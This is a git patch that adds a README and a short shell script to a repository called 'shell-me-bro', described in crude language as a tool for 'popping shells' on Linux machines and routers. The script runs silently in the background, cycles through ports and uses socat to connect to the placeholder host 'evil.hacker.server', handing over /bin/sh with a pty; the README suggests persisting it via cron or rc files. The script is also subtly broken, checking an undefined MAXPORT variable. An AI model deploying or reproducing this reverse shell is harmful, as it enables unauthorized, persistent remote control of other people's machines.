From 05923f8021e921a52822c98b6fcd7167073169eb Mon Sep 17 00:00:00 2001
From: kayos <kayos@tcp.direct>
Date: Sun, 18 Oct 2020 13:22:17 -0700
Subject: [PATCH] sup

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 README.md | 22 ++++++++++++++++++++++
 lol.sh    | 28 ++++++++++++++++++++++++++++
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 create mode 100644 README.md
 create mode 100644 lol.sh

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+# shell-me-bro
+###### for popping shells and shit idk what do you want me to say    
+
+---
+  
+- pops shells on penguin computers  
+- for some reason puts a file in /tmp/ indicating the port it's trying?  
+- tends to stay running in the background (annoyingly)
+- made sense at the time
+- works on like routers and shit (if you have socat bin)
+- idk stick it in a cronjob or an rc file or some shit
+
+---
+
+have you ever been doing evil hacker things and you manage to fuck yourself out of a shell like over 9,000 times and you can't upgrade to a proper pty because the target is an old ladies wristwatch on some stupid architecture that doesn't do anything you want it to?  
+  
+*say goooooodbye to that bullshit*  
+  
+decades of intense research have went into this, idk, like 12 line script that i wrote  
+
+i spent more time on this readme.md than this script but i'll maybe do more things in this repo who knows
+
diff --git a/lol.sh b/lol.sh
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+# idk man it like runs in the background and
+# like pops shells or some shit
+# and cycles up through ports
+
+# it works on like routers or whatever
+# you need socat and stuff
+
+######Config####
+STARTPORT=105
+ENDPORT=115
+TIMEOUT=90
+HOST=evil.hacker.server
+################
+PORT=$STARTPORT
+while true;
+do
+        find /tmp/ -iname "*.prt" -exec rm {} \;
+        touch /tmp/a${PORT}.prt
+        if [[ $PORT != $MAXPORT ]]
+        then
+                PORT=$((PORT+1))
+        else
+                PORT=$STARTPORT
+        fi
+        sleep 8
+        /tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stde
+done &>/dev/null&
+